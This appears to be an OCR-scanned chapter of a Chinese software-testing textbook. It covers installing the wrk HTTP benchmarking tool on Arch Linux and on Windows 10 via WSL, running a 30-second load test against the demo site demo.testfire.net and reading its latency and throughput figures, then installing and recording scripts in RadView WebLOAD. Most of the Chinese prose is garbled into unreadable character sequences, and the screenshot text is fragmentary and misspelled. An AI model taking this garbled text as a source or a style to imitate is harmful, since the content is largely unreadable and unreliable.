R T B, HAGPERENA T BAR 2 il 76 2 7 s 351 H op gk B AT A T 5352 fi— su 3 #F
H I Pl A A al o H i T H, PEGEI 8 T HAl A 1) b . i 5 n] LA LL R LA J7 1
g,

1. B J5 i

(1) THEA, T H@ Rl T ERIFE T 2R, @l T 5/ 5 2k b 8o
K AR TG B F, Tl 2% oy Lol S0 )5 AR 45, an 2R T R Tk A RS T AL R,
1 FF IR T LG R R R, e A B 4E D T L 2t 2 A A, T DL Gn R B A A
EAATS A T AR RS . HAREFE R T e 2RI T B, % 2R A [
Bl s HEAn 2 R RS L8 BR P BOAS (I H 2R S L AE O T % I8 . — MOk E KA wl G H nl
VIRMH T HMEH,. B EBW L/ T H, Wi/ANAFEH TR S K, o684k fFIFE
T H,

(2) 22 WA, fd AT AT T HL AR TS 224 2 XM — R 3 &5 7= AR 22 20 WUAR Canms el ) , [5 at
FEREFE T HL 75 2% R0 H Rl 51 122 > AR . W SRA Ak T 5 A R B AR GE W 1 300
HAMMFER.A THRKEBS AN B T H HA WA A6, 384 8 3UE
S E A T H ., Gls, N G e 4 A8 — 3 AR m p ol CHERE)D) T B, — 3O IR (B T
H A 75 8GR DL CHEE BB A T A0 5 45 X R AR ER .
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2. KFE R

P A I R P IR R AR B, e n B/S R0 M H HTTP U475 % 7 i Al
MR 55 45 R 45 L3S . C/S R %038 5 # ] Socket MR HHEAT(E B He, fEvEEE T HAt, HE
Z 8 H PR — A0 T H BB 7 5 I oK LB A A 304 AT B el R, 2
I 3 T HL 22 R de LAY [R] R,

3. il

PRAE I PE BRI T HAEW £, b LR, Jmeter 3¢ 2588 KA T 5 [ | 4H 6 1 % RHE
WL A —Se/NAR T H AT GER Bkt e /b, AR A T 5L A Gk e o il 38 b A T 1 )
16 TR A U T 2 ol 5 B g, KAR I T B AH X R Ul LB A L4, BE e I Ak £, W% ) il
Z B4 B C 6l 3 1 [a] 8t 0 2 0 NS0l 3 M e T 0 s BV 2 AT A RE B, il T
AR A Z il i 4 X e 3 i 35 B A A B2 T 6E Pr B A e iy

4. B5FEE

X ARAUEZU,HH Java M A—HXAMTHAET,

RZ BAFREA LR, Jmeter X F F B KA T H A 49, F 1w & A3 88— A4 He e/ A
(19 V25 5 2 2 (PR eI T 1 wrk S E# .

20.2 wrk 3t

wrk & — R HTTP PEgEm L T H. .t a] DLFR A http benchmark T. H., H A —
M R AR Z 2 AN HTTP YR, Jf H wrk ZH I B AU LE github |, M
HE A https://github. com/wg/wrk.,

U — 5 wrk DA R BB 17428 UNIX 19 & 40 |-, e il Linux,Mac,Solaris %, 1 H
REAEIX S R G0 | 4 i BRAE S T 18 wrk B4 0] LIAE Windows 10 24 FfliFH T .

TG RGBT T %3 wrk AP BR ., HAh R G235 0] UL 2% https://github.

com/wg/wrk/wiki,

20.2.1 1£ Archlinux %3 wrk

i wrk AT EEREI L, B T 2 N 2 wrk P A%, 7] github R4k https://github.
com/wg/wrk, f£ UL i 4% 3| releases, Hili releases, W 20-2 i~

f£ Releases Tt [f] 50 5 d5e B 19 WAS , 4[] 20-3 Jlros .

£E 5508 RCAS oL 1 P B 2R A L Bid Source code(zip) s WA 20-4 s,

Pty 25 i 0 e S 3 A% SO e wrk-4. 0. 2 AT 4R E . G IFEERAE B 3T T shell,
il cd ir A wrk-4. 0.2 XF¥ , i AJG 8 make in 21T FE., il PR ES
Lo, ik BNl 20-5 Fros .

i e UG . /wrk ap 2R A R R ) . R EA Ga B i X A A 2
W . P 20-6 IR wrk (FF B0 B I DA B wrk 2 45 3 2D 0. G IF L)) AT R
AT,

G G o wrk ST B/ use/bin ST Je b, 58 B2 % .
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O Features Business Explore Marketplace Pricing

[ wg /wrk ©Watch 578 % Star 14,161
<> Code Issues 51 Pull requests 30 Projects 0 Wiki Insights
L
Ej Join GitHub today
GitHub is home to over 20 million developers working together to host and

review code, manage projects, and build software together.

Modern HTTP benchmarking tool

i

o) 67 commits I 2 branches % 19 releases 22 1 contributor

Branch: master - New pull request Find file

. wg update ae, zmalloc & http_parser Latest comm
B deps require openssl 1.1.0+

B scripts add optional delay() script function

. sie undate ae. zmalloc & hitn  narser

B 20-2  7E 01 H 3R 3 releases H-H i

( ’ Features Business Explore Marketplace Pricing

[l wg / wrk ® Waich 578 v Stal
<> Code Issues 51 Pull requests 30 Projects 0 Wik Insights
on Mar 26, 2016 402 -

o 50305ed [Dzip [D)targz

4.0.1

Mar 24, 2015 :
e o a209691 [Nzip [ targz

4.0.0

on Mar 18, 2015 .
r ' o 0851c35F [D)zip tar.gz

3.1.2

on Jan 31, 2015 .
' 0 ad52c770 [izip [i)targz

K 20-3 7 Releases W1 [ 5 il & B B ke 4~
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Business Explore Marketplace Pricing

. wg / wrk ®@Watch 578 % Stj

<» Code Issues 51 Pull requests 30 Projects 0 Wiki Insights

Releases .Iliiiil

002 40,2

o 50305ed

.wg tagged this on Mar 26, 2016 - 2 commits to master since this tag

send hostname in TLS SNI extension

Downloads

Source code (zip)

[ Source code (tar.gz)

Bl 20-4  7E BT LA T R 2R
Do | wrk-4.0.2 Q || &=
= 0 A A B2 2 R A A2 AN

CHANGES  deps INSTALL  LICENSE  Makefile  NOTICE obj README SCRIPTING  scripts src

lo@LoPC:~/Downloads/wrk-4.0.2 x

$ make

Building LualIT...

make[1]: Entering directory '/homes/lo/Downloads/wrk-4.8.2/0bj/LuallT-2.0.4"
==== Building LualIT 2.0.4 ====

make -C src

2]: Entering directory '/home/lo/Downloads/wrk-4.0.2/0bj/LuallT-2.0.4/src'
host/minilua.o
HOSTLINK host/minilua
DYMNASM host/buildvm_arch.h
HOSTCC host/buildvm.o

In file included from host/buildvm.c:59:0:

L. Sdynasm/dasm_x86.h: In function ‘dasm_put®:

/. /dynasm/dasm_x86.h:Z207:2: this “if’ clause does not guard...
(*p++ = 1 && *p = DASM_DISP) mrm = n; continue;

. JSdynasm/dasm_x86.h:207:45: note: ...this statement, but the latter is misleadingly indented as i
f it is guarded by the ‘if’
if (*p++ == 1 && *p == DASM_DISP) mrm = n; continue;

F . V——

HOSTCC host/buildvm_asm.o

& 20-5 {#i H make fir 2 #4740 1F

lo@LoPC:~/Downloads wrk-4.0.2

§ ./wrk
Usage: wrk <options> <
Options:
-c, --connections <N> Connections to keep open
-d, --duration Duration of test
t, threads Number of threads to use

-5, -=-script <5> Load Lua script file
-H, --header <H> Add header to request
latency Print latency statistics
--timeout <T> Socket/request timeout
-v, --version Print version details

Numeric arguments may include a 5I unit {1k, 1M, 1G)
Time arguments may include a time unit (2s, 2m, Zh)

s |

& 20-6 wrk #BI{E R



TI820 AN TH wrk Ik

B 20-6 B BX T8 22 wek 2AEW A MM, -c 283K connections (&
PR .-d S8 8 duration(BF[E]) .-t S8 F /R~ threads(ZRFEE0D . X LSS 5048 & 7 R
h w2 HE .,

20.2.2 1F Windows 10 |23 wrk

i 7 Windows 10 &4t |- Windows Subsystem for Linux (& J T Linux 1) Windows §
Z90) X —F¢tE, o] IAE Windows 10 &G wrk, BARZHELTEMT .,

(1) 7 Windows 10 RGP FTH I L FH A",

@ #A Windows &, W& 20-7 fr7i .

Windows €85

I
11
HH

o ® w 8

25 e PZEH] Internet Ak e
B, B, U, &alE e, fTEHWL. BiR Wi-Fi, T8I, VPN o= diF me (FEIM—, BFREE, BE
wE, TiF &E
-
- f l—+ -
AT 7 R_J
HiEFNES EHMER FEEA BEfEe
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© TJF Microsoft Store,{# % Ubuntu, 40 20-15 R .

€« Microsoft Store - O *,

¥R WA Ubuntu L2 8 i

C:\> £ Windows =T
Linux ? 2/,

=74 Ubuntu, openSUSE, SLES #1 Fedora FHEERT Linux #1
Windows %t (WSL) EFHHHETEN.

RiFg (8)

Ofy2 oz -

Ubuntu Linux Cheatsheet Ihurm.l com FourPastebin ChaosDerTechnik. Computer Soter Center (for michaelbrooks.co.
e iy (] de Organization Linux NAS) ulk

- 20 =0 = 20 &0

2EFR SE TR 2= R SR S22 TR BETR ZETE 2E PR

& 20-15 3% Ubuntu

@ i 22 F AW Ubuntu, 2o 3R BC ¥ 8, W0 B 20-16 7

Ly Microsoft Store — O X

=W WA R W L2 B i

Ubuntu

Canonical Group Limited = Jodrdedket 201
EERETL TSR RN EER RN .
() B# Windows BIfchaI 2 SiaScLhsnitiRe=rs, AR | | S EgT

RETH

ubuntu®

EEHL

ik ST

Ubuntu on Windows allows one to use Ubuntu Terminal and run Ubuntu
command line utilities including bash, ssh, git, apt and many more.

0
&

To launch, use “ubuntu” on the command-line prompt (cmd.exe), or click on the
Ubuntu tile in the Start Menu.

To use this feature, one first needs to use “Turn Windows features on or off” and
select “Windows Subsystem for Linux®, click OK, reboot, and use this app.

The above step can also be performed using Administrator PowerShell prompt...
s

REEE

& 20-16 4KBEL Ubuntu

@ KRBT P 75 B AL B [A] S5 15, W & 20-17 Frow .
(3) fE“ IR 7P 3] Ubuntu iz 7.8 —Was 1702 A 3% 3& Ubuntu 812 . W0
Kl 20-18 T,
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Ubuntu

Canonical Group Limited » edededet 201
IETE#T.

jmik IRES

Ubuntu on Windows allows one to use Ubuntu Terminal and run Ubuntu
command line utilities including bash, ssh, git, apt and many more.

10
&

To launch, use “ubuntu” on the command-line prompt (cmd.exe), or click on the
Ubuntu tile in the Start Menu.

To use this feature, one first needs to use "Turn Windows features on or off” and
select "Windows Subsystern for Linux™, click OK, reboot, and use this app.

The above step can also be performed wsing Administrator PowerShell prompt...

HE

REEE

Bl 20-17 KRB 2 Ui

%) Ubuntu - O X

atch your Windows username.

& 20-18 H 3% % Ubuntu 5%
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TR ATMARP 2 E 20-19 s .

test - 3 -
G} @DESKTOP-5G5E4M3 O x

sername does not need to match your Windows username.

“eudo <commar

A 20-19 @i AH P A
(1) wrk 922 BRILE Linux PEERAETE—F, E 20-20 FIE 20-21 s,

B test@DESKTOP-SGSE4AM3: fmint/d - O *

automatically installed and 1= no

autoremove 1o remove 1t.
The followir itional pack rill be installed:
binuti I dpkz-dew 4 has ibal gorithm—diff-perl | 1lgorithm-diff-xs-perl

-perl 1it 12 libat ( ibef=c e beilkrt ibidp ] groot

c=5-lacales debian-kevring g maltilik g S-mualtilil
o tool f IRSRE

| 0

tul 16,0
untul 16, O

wrlk. g1t wrk

ack-reused 1043
200N done.

uildvm 1
ldvm_fold. o

DSTLINE
UTLDVH

BUILDVN

A 20-21 &% wrk 18 2
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20.3 Hl wrk M3k testfire )35k HE
Y P ¥ testfire Iﬁ]iﬁﬁﬁfﬁﬁﬁ“’ﬁﬁuﬂhﬂ B U Mk~ http://demo. testfire. net,
(1) 1F shell 5 A2 wrk -t12 -c100 -d30s http://demo. testfire. net, {0 Kl 20-22
T 7S

$ wrk -tl2 -clo@ -d30s http://demo.testfire.net

& 20-22 i Afpd

(2) #% Enter #,30s LAJ5 ] DL E 2% 25 2K 20-23 Fros .

Running 30s test @ http://demo.testfire.net
12 threads and 100 connections
Thread Stats Avg Stdev Max +/- Stdev
Latency 334.75ms 194.58ms  1.95s 89.93%
Req/Sec 25.75 11.98 70.00 59.73%
8988 requests in 30.04s, 85.15MB read
Socket errors: connect @, read @, write @, timeout 3
Requests/sec: 299 .24
Transfer/sec: 2 .83MB

E 20-23 HiHgE R

S R — A

(D 12 threads and 100 connections, & B &M 12 T BB 100 4~ 822, XL -t Fl-c
n DL 3 A~ 2 8L ~ﬁﬁ?ﬁﬁiﬁ$ﬂﬂz’°} PR 2~4 52 1.2 1 B B o 2 V)
ok 238 WRCR AR . O wrk A2 6 B 2 9% — A 2R AR, 1l 2 0l a5 AP 4% o
& THH A, BT DA 2500 {5 A 25 PH 28 2Rt A7, i 02 wrk m] DLFAR 70 i £ B A5 400K i 1Y
e 1 Y BRI . 1 BAEAR 2 PR HE T H I B0 >k I 3X i 7 o0, Tin 2 2Kk H 4 = ZR R RO SE B
2 BT DL K — B A AR s DAL B B s 7 s AR K, a8 R B i F B

@ LREG WA 20-24 s,

Thread Stats Avg Stdev Max +/- Stdev

Latency 334./75ms 194.58ms  1.95s 89.93%
Req/Sec 25.75 11.98 70.00 59.73%

B 20-24 ZBESIT

Latency: Wi W ] [8] o A5 P-4 08 AR S dm KA E T — A i 22 G L.

Req/Sec: RpANZFE AP 5¢ B3 5K L, [FFEA quf’Jﬂ;T b HEAH | die KAE L OE 01—~ b i
it

— R A IR T P TR R e AR s A 71 22 40 2R R ORI AR A A B 1 jORE B LU ) - A vl fE
R tERe R AR K,

@ i 2K O 3E BOEE = 20-25 Bk,
M 20-25 Hn] F L L ES 30, 04s 58 WG R BOM 32 BUCEE 2 15 R BCh 8988, 132 B AL
fE N 85.15 MB; ARG EMiiegi it il I E R EE IS E A iR, B 3 M K



LIH20  PEEEMIR TR wrk il 4k

8988 requests in 30.04s, 85.15MB read
Socket errors: connect @, read @, write @, timeout 3

Requests/sec: 299.24
Iransfer/sec: 2.83MB

&l 20-25 ¥ SR B0 3 BUSUIE &
7R AT 2 T 1461 S B 5 . 200. 24 AR A5 BB I 2. 83 MB B &
WD ERAT

i — A F AR K T A A B s wrk R EE— A4k T A T A AR AR X, T
— R EEHMAREFTARN, wik RALELSREXARER . mBLEASFLARER,
BAFAAREFARB IR PEANRE XTI HELEGREMN KT L. LEAIL SR
R ATEEMN X, M wik REZ—-AF AL TR A R B BEZE TR,

@@Hﬁﬁ%ﬁ

] wrk T.HXFAS 55250 1 A PR iy I sl o 470 58 I 4a€ L 68 1 4 B i) 32 45 28
=8 . T WL & http://collegecontest. roqisoft. com/awardshow. html P & i n 5 4 §
MR KFAEXEME P RLING L S HEREMNXT LG,



356, EREMEXSEIERIIFER

N/

EZHEIL
ad® o8 af} o af o8 af 08 af* o4 o 0§ af o;
P Name : Date

B4 m] . When all else is lost the future still remains.

R T YR, Wil ARk

o4 o8 f: 08 Of: 08 Of: 08 O 08 O 08 O} O



XBHMN

WebLOAD J& RedView 24 ] #E H 19 Web e A T. HEH 2
—, WebLOAD 0] D [a] i £ 41 22 4~ 2 g FH P (1947 0 - %0 Web 3l g
] 14 o R Y B0 6 Bohs e AT X, WebLOAD 7 B4/ 7 A7
B ANAURT DL B PR bR S B A S B AE L i ] DL Bl A
Web Ui B 4 F 7 A7 0 10 s 19 A [6] 9 28 A7 38 0E . 3k B 52 . oK il
K H M, EL T B d, WebLOAD 2 £ K 5] g B L P 98 A
[ (1 AN A B LA [/l 14T . WebLOAD i o] D42 41 13 R 1 i) 38 45
T M B B R E Web B 9 M B8 512 W7 i 3 o 2 38 32 1
7] L,

21.1 WebLOAD [ fE)iap

WebLOAD i a:f A= BRI 52 B 47 26 19 25 7 i K Il a8 Web L H] #2
J¥ o B L% ) sl i AE Web 7 FH B 3 B4 T S0 89 11 sl 7 SR A5 05 AT 1Y
PeAE, IR L P R e b B R N 3 i, B el DL A
SE SCRE L& P 5 47 o 1 nl 4k 19 2 T JavaScript (19 90 5 A<, L
WebLOAD $U47 X 26 A, DL EE Fge v i 8 o0 4 82 13 19 )2 bz, 9F
H S A i 45 R . WebLOAD 41 75 4% & P 0l 38 32k 2 op 11 30 GE 46
55, SV P HER K56 Web B R Y, A8 AR R I R,
ANFE T g REAS S 55 B SR B B H AT BT ) SE R A R 5 S
WebLOAD R 7745 7% He 1 AL 09 B8 0 32 A1 A3 1 4 fi 1 45 i 1 ik 45
R. WebLOAD TAEJRBLUIE 21-1 firow.
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WebLOAD .
2Ly o " Internet/Intranet

B AR A s
(B HEWeb% F i)

e : : Internet/Intranet
e P & i
[ t WebLOAD 5143

& 21-1 WebLOAD T /&5

21.2 WebLOAD “%¢3%

WebLOAD (192 3¢ 4E & & 9, BRI F .
(1) Wik Ze 3 3e . 3 Next 381 tn & 21-2 s,

ﬂ Setup - RadView WebLOAD Professional

Welcome to the RadView
WebLOAD Professional Setup
Wizard

This will install RadView WebLOAD Professional version
11.0.0.063 on your computer.

It is recommended that you dose all other applications before
continuing.

Click Next to continue, or Cancel to exit Setup.

[ nNext> | | cancel

& 21-2 iy Next #Hl

(2) ¥+ 1 accept the agreement HLIEFEH . HLiy Next F4 41, W& 21-3 Frs,

(3) EFEL R H R By Next #&4, W& 21-4 o .

(4) WFERIAMN, b Next F246, W E 21-5 Fiws.

(5) M4 X4 iy Next #41. WNE 21-6 s .

(6) i Install #2605 4f 2258 0l 21-7 s .

(7) P —22 L, ZAE5E WL, i 21-8 o .

(8) Hidi Finish ¥4, & 21-9 fros,

(9) 7E Update License X #HHE (WL E] 21-10) H ¥k ¥ Free Edition WA, BRIA 2 Use a

license file,
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i5 Setup - RadView WebLOAD Professional

License Agreement
Please read the following important information before continuing.

Pleaze read the following License Agreement. You must accept the terms of this
agreement before continuing with the installation.

RADVIEW SOFTWARE m |

READ CAREFULLY BEFORE USING THE SOFTWARE
PRODUCT. THIS IS A LEGAL AGREEMENT BETWEEN YOU
(WHETHER AN INDIVIDUAL OR A FORMAL LEGAL ENTITY) I
("CUSTOMER") AND RADVIEW SOFTWARE LTD, WITH HEAD

OFFICES AT 14 HAMELACHA STREET, ROSH-HAAYIN, ISRAEL
NP BAMIRA SOETWARE INC WWITH HEAN NAFEICFFS AT G441

(@ 1 accept the agreement
) 1 do not accept the agreement

[{Badc"l«lﬂthllt:m:d]

E 21-3 E$E 1 accept the agreement H 8%l

5 setu

Select Destination Location
Where should RadView WebLOAD Professional be installed?

l Setup wil install RadView WeblOAD Professional into the following folder.

To continue, dick Next. If you would like to select a different folder, dick Browse.

db\Program Files (x86)\RadView\WebLOAD Browse. ..

At least 0.8 MB of free disk space is required,

[(Ba:k ][Next:-][i‘:.u-lcd

F 21-4 ®PFELZEHF

ﬂ Setup - RadView WebLOAD Professional

Select Components
Which components should be installed?

Select the components you want to install; dear the components you do not want to
install. Click Mext when you are ready to continue.

) Load Generator only
() Dashboard Server

[V] Console 1,967.3 MB
[7] Load Generator 1,665.4 MB
Load Generator As Service

[¥] WeblLOAD Dashboard 398.7 MB
WebLOAD Dashboard As Service

Analytics PostgreSQL Database

Current selection requires at least 2,063.6 MB of disk space.

[ <ok |[ Next> ] [ conce

E 21-5 #EFELEANH
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ﬁ Setup - RadView WebLOAD Professional

Select Start Menu Folder
Where should Setup place the program's shortcuts?

I Setup wil create the program'’s shortouts in the following Start Menu folder.

To continue, dick Next, If you would ke to select a different folder, dick Browse.
Browse. ..

| <Bak |[ mext> | [ cancel

Bl 21-6  3EFEE LA

ﬂ Setup - RadView WebLOAD Professional

Ready to Install

Setup is now ready to begin installing RadView WebLOAD Professional on your
computer.

Click Install to continue with the installation, or didk Back if you want to review or
change any settings.

Destination location:
d:'Program Files (x856)\RadView\WebLOAD

Setup type:
Full Installation

Selected components:
Console
Load Generator
WebLOAD Dashboard
Analytics PostgreSQL Database

Start Menu folder:
F ]

[ <ack || sl | [ cancel

& 21-7 Hii Install #2410

o =T

Inztalling

Initializing the database cluster [thiz may take a few minutes] .

& 21-8 235

ﬂ Setup - RadView WebLOAD Professional

Completing the RadView
WeblLOAD Professional Setup
Wizard

Setup has finished instaling RadView WeblLOAD Professional
on your computer. The application may be launched by
selecting the installed shortouts.

Click Finish to exit Setup.

A 21-9 i Finish %4
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Welcome to WebLOAD

€

License Details

Murnber of Yirtual Clhents

Expiration date
Host Id ""84abcBl2hdal B4abcBf2bdall 84a6c6f2bd9f Scfidd53949a

- Creating & E

Mo active icense I License Informatian ]

Update License

") Free Edition

WEBLOAD?

< —

21-10 Update License %} i HE

K WebLOAD AR T H T 2% A License X4, ILAb S ¥ Free Edition fiiAR
¥ i fi# (Free Edition AN fg 22 HEE B 50 N ELH D .

21.3 WebLOAD Sl 43

FTHF WebLOAD, F A (WE 21-1 D 194 o M ZBE A LoadRunner Z A%, 1 A&
448 A, 2 B HGEAT ML, 3 g 20 A G R 45 1, i 21-11 JifFs .

(1) P 1 ) df g 4 A . T 9F WebLOAD IDE Ffi . Wi 21-12 fif s,

1 WebLOAD IDE Ft i o] LLFIE X A TDE F 28 & 5% il A1 2 5 I AS | 76 X A4~ 5,
T 2 2 448 File(3C4) . Home ( 3 11) L Edit (448 ) . Debug (1)) | Session (£ 1)
View(#LE) \Tools( T H), FANFRUTF AR EZHA.

File 3¢ 80 . WA SCOE R BT 8 AT L ORAF FIATED , an & 21-13 i

Home > 81, IARER S T BHAAT, & 21-14 Firos,

Edit 3¢ 5. 04557 Wik . i B A1 JavaScript, WA 21-15 s,

Debug 5. AT A AR E s, wE 21-16 Fros,

Session EHANPE 21-17 s,
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Analyzing Load Test Results

Analyzing load test results — Launch
the WebLOAD Analytics to analyze your
load test results and to create
informative and elaborate repors.

» More info

m Configure « & Help ~

.__\.L

AAOviEWS WI:H LOAD

Al 21-11 WebLOAD FFH

i e e — ® — — X
@_gj_n_hwmmm IDE - WehlLOAD IDE Project - [JavaScript View] L.
| File Home Edit Debug Session View Tools Help~ @ - @ X .
T]- @00/ v M @ 00@
Full Start Stop Pause | Response Parameterization Correlation Run Stop Abort
Script Validation Manager i
ho-ge Reconding Toolks Execution
4 General « [G]Agenda Function Hame: - _ ® |
E Sleep 1 I
O Message The IDE's Assistant view will help you
. _ create load-test scripts in a few simple
& JavaScriptObject steps.
@ Comment Watch the Script cteation video
T Try tutorial.
A Catch
1. Recordi ¥
4 Load g
= BeginTransaction 2. Correlation L3 |
% EndTransaction i
& SatTimer 3. validation ¥
=, SendTimer
ey 4, Parameteriza ¥
B SynchronizationPy e - I
3" SendMeasuremer 5 Playbaclt -
¥ URLScreening
1t] ValueExtraction
DefineCo t N
* bl . When these steps are completed, your
<P ExecuteConcurrer Agenda Script will be ready to be used
SN I as part of a Load Test. You can now i
ke launch the WebLOAD Console from the
B IMS - ' D ¥ IDE and start defining your Load-Test -

Ready EDIT Maode '-'.'il'l':: Lnl Co ML

21-12  WebLOAD IDE F [
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21-13 File 3¢5

© .| . WebLOAD IDE - WebL OAD IDE Project - [JavaScript View]

Edit Debug Session View Tools

00 v m_ % 000

Visual | Full Start Stop Pause | Response Parameterization Correlation | Run
Agenda| Seript Validation Manager -
Mode Recording Toolk Execution

B 21-14 Home 38

WebLOAD IDE - WebLOAD IDE Project - [JavaScript View
File Home ‘ Edit ‘ Debug Session View Tools
F| # Cut ‘ l wac Replace ™ Redo i3 Import JavaScript File
Pui 53 Copy End  Find =+ GoTo Select All | o/ Clear JavaSeript Editor
Al ®Undo X Delete Y Syntax Checker
Clipboard Editing JavaScript

21-15 Edit &8

‘I  WebLOAD IDE - WebLOAD IDE Project - Javaseript View]
DE|
- File Home Edit Debug Session View Tools
° o o GE Step Into (@l Break Execution % Disable/Enable Breakpoints Watch Window
®: Step Over @ Toggle Breakpoint (el Edit Breakpoints Variables Window
Run Stop Abort | _
& Step Out (%) Remove All Breakpoints Call Stack
Execution Debug Debug Windows

&l 21-16 Debug 3¢

7C Side by Side
&
Start | Compare HTML
a
Edit Mode
HTMLcompare

& 21-17 Session 3 H
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View S H1E 21-18 k.

@ 8 .2 @ 0O . WeblLOAD IDE - WebLOAD IDE Project - [JavaScript View]

File Home Edit Debug Session View Tools

v| Page View |v| HTTP Headers View  Log View % E

DOM View |v| JavaScript View v Find View

Cascade Tile Tile
v| HTML View |v Ascsistant v| Toolbox HG'I'iZ’DI"Itﬂ”? VE'I"tICﬂ”jF
Agenda Views Window

& 21-18 View 8
Tools 3¢ Bl LA G B MITH AR &, & 21-19 Fros.,

— —_— — —_— — =5 — —
@ (= BN | h WebLOAD IDE - WebLOAD IDE Project - [JavaScript View]
File Home Edit Debug Session View Tools

Enl Current Project Options (@ Recording and Script Generation Options @

| Default Project Options

& Default Project Opti Open WebLOAD

[ o Settings Console

Settings Load

&l 21-19 Tools 3B
(2) s 2 B ERLEE A7 o 2k, FT O R A 21-20 Fros .

File Home Session Tools Help~ (7]
3 I @ e .: e l'sd Agendas Selection E Schedule
}\ o = S |
_ Load Machine Selection Delete
WebLOAD Goal-Oriented  SLA Update Floating Performance Add Remote | — ) X
Wizard Test Wizard Manager License Resources | Measurements Manager PMM... (3 Mix Creation
Definition Performance Monitors Edit

F NUM Elapsed time Remaining time

-

&l 21-20  GIE FEEAT 2R K A

(3) iy 3 AT BRI LE R TP R m A 21-21 i,
(R S BRAE A W, B DL 3 1 2 25 1, ELAAR 2 2% 5 0T 1) 52 46 3 £
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ARk BEE%

) Report \_ X @GR 0|

N %Repurtl

(GRSl O Recert Report: = 6)

| 4 [ Templates ]
b [ General
b [l Log and Errors
I m Pages Analysis
b [l Percentile
b m Probing Client
b [l Server Side Statistics
b [ Session Comparison
b m Static Templates
b L Statistical Correlation
b [l Transaction Analysis
P m User Defined

4 [ Portfolios

b (] Extended Summary Portfolio

| »

& 21-21 ArdrfadRiiss & 5w

21.4 WebLOAD SE Lk

i/ WebLOAD 81— AR T,
(1) B gd— i FE (Agenda) .

(2) f#i FH WebLOAD [n] 5 it & He 7880 . fic B2 16 B 1,

(3) iz {7,
(4) 73 Hri (25 2R

N f#E A testfire B http.//demo. testfire. net #4755 5% JF# .

21.4.1 BB —1 LR

(1) EFE“ I — " 72 )7 " —RadView—
WebLOAD— WebLOAD IED, T #f WebLOAD
IDE #-1f, nEl 21-22 Fhos .,

(2) ¥ $E Create a new project, WebLOAD
IDE F 16 L g 48 A ST I o DUIE T 45 A1) IR
Z LA 21-12,

(3) 7E F 6 11, Mgl Stare 3260 @ . 31 4
Kl 21-23 Firs i %G AE

WebLOAD IDE

@ What would you like to do?

# Create a new project

# Open an existing project

% Open a saved session

Don't ask me again

 21-22  FT7H WebLOAD IDE 5 i

365
N/
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(4) s OK # . WebLOAD IDE JF & 5 #7630 % 25 & 9 F A 1k,

WebLOAD Recording T. H £, 40 21-24 Fros . 3 BT H % &5 .

Recording

—

Open (@ cuame

z)

LRL address:
Recording Options
[] I dentify &5

Browiser l

-

- |

WVersion: |

|
e |

[[]Dont show again - | 0K

) | Cancel || Hep |

— g |

& 21-23 Recording Xt G HE

WebLOAD Recording

P000m 2T

2 o i

& 21-24 WebLOAD Recording T. E#%

(5) EFTH my o %8 &5 0, Fg A 38 9 35 http: //demo. testfire. net, W& 21-25 s,

[ - — —— = B8] %
al—. @httpr’fdemotestfrenetf’ - G|E_E P~ | ot wp 46
& Altoro Mutual | |
NE(F) WwEE) ZTENV) HEEsElR) TRM  #EiH)

AltoroMutua_»

Sign In | Contact Us | Fesdback | Saurch|

ik

& ONLINE BANKING
LOGIN

ItoroMutual

SMALL BUSINESS

INSIDE ALTORO MUTUAL

Online Banking with FREE
Online Bill Pay

Mo stamps, envelopes, or checks
to write give you more time to
spend on the things you enjoy.

Business Credit Cards
You're always looking for ways to
improve your company's bottom

line. You want to be informed,

Privacy and Security

Thea 2000 employeeas of Altoro
Mutual are dedicated to

" protecting your privacy and

| security. We pledge to provide
you with the information and
respurces that you need to help

secure your information and keep
it confidential. This is our
promise.
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i XF oK .

1
FEBUFE 4 P R 31 H
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A AN[A URL 1) HoAh Yy

a1 DAy e S

1A
pik

(7) 7 WebLOAD Recording T. £ # ¥ i Stop Record %4 @ .

(8) £ WebLOAD IDE # % ££ File—Save iy 2 JARAT

(9) FE“ 7347 77 XU HE AR fi A Search 1 28 IR 19 2
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K1l 47 1Y) Agenda.,

i A 24 RS,
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Agenda Tree
=-(T) :Agenda

........................

http://demo.testfire.net/

E Sleep

-[@] http://demo.testfire.net/bank/login.aspx
E Sleep
http://demo.testfire.net/bank/login.aspx

& 21-26 LW

RV 4R, wlp 193X,

BMAAEMA T — 10 DLAE WebLOAD 3 fid & AP FH I AN FE, v IEE &8 #ir
M ICRE A 17 S ol AN BT 19 Agenda,
21.4.2 {E5H WebLOAD & EB EE H1EHR

1E WebLOAD ¥l & Ffdi Fl WebLOAD [a] S0 & nZ8 b AL I T .

(1) 37 WebLOAD [a) 57, #EEHE“HH7—="“"Fr A £ )¥” —>RadView—> WebLOAD—

WebLOAD Console, T 7 WebLOAD Console F 11, # Hf WebLOAD Console X| i fi£, Ul
K 21-27 frs .,

i |
WebLOAD Console &

@ What would you like to do?

# Create a new template using WebLOAD Wizard

2 Create a new template using the Goal-Oriented Test
Wizard

% Create a new template manually
< Open an existing template

2 Open an existing load session

[[] Don't ask me again

& 21-27 WebLOAD Console %} HE

% Create a new template using WebLOAD Wizard. T 7+ WebLOAD Wizard X} i
HE , Hidy Next $8 . 0Kl 21-28 i,

(2) ML B A Single Agenda (EL— I FE) Fil 2 iU (Mix of Agenda). 7= ik £
Single Agenda., X5 ¥y Next #Z4, WA 21-29 s,

AR SR X Bl F

Single Agenda: )& R A —4~ Agenda M7 ¥ H J3 B4, T A 19 kg 00H P #0034 i)
A AT 00 2 A

Mix Of Agendas: BIH £ 1~ Agenda A FEHLUH P ARG D),
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WebLOAD Wizard ‘ ® ——— . [ &5

Welcome to the WebLOAD
Wizard

The WebLOAD Wizard walks wou step~by—step through
the process of configuwing a load session,
enabling wou to create and save a load template,

Each =zoreen in the WebLOAD Wizard contains text
explaining the configzuration process.

Hote: Before wou can use the WebLOAD Wizard to
configiwre

s tesgt zeszzion, wou muzt first create the Agenda
you

want to use. Agendas should be created using the
HeblLOAD IDE.

WEBLOAD?

I < Back ]E Hext » ; [ Cancel ] [ Help ]

& 21-28 WebLOAD Wizard ¥ i&HE

!—
WebLOAD Wizard - Test Type ‘ SN — e 25

Selecting the Type of Test to Run
What type of test do wou want to run? ..

W ebLOAD =upports two types of

@ Single Agenda
An Agenda i1z the name of the test script wou create with the WebLDOAD IDE,

with which wou test wour application. Choosing this option will create a
load test where all Virtual Clients will yun the =same Agenda.

(I Mix of Azendas
Thi= 15 a combination of Agendas, each created separately with the WebLOAD
IDE. Each Agenda within a Mix simulates a different user profile (or group
business process. Combiningz theze different Agendaz into a single Mix allows
vou to define the same load schedule for all of them. The next =tep in this
of each Agenda in the Mixz. This controls the wolume of the load that sach
business proceszs will create as part of the complete load test,

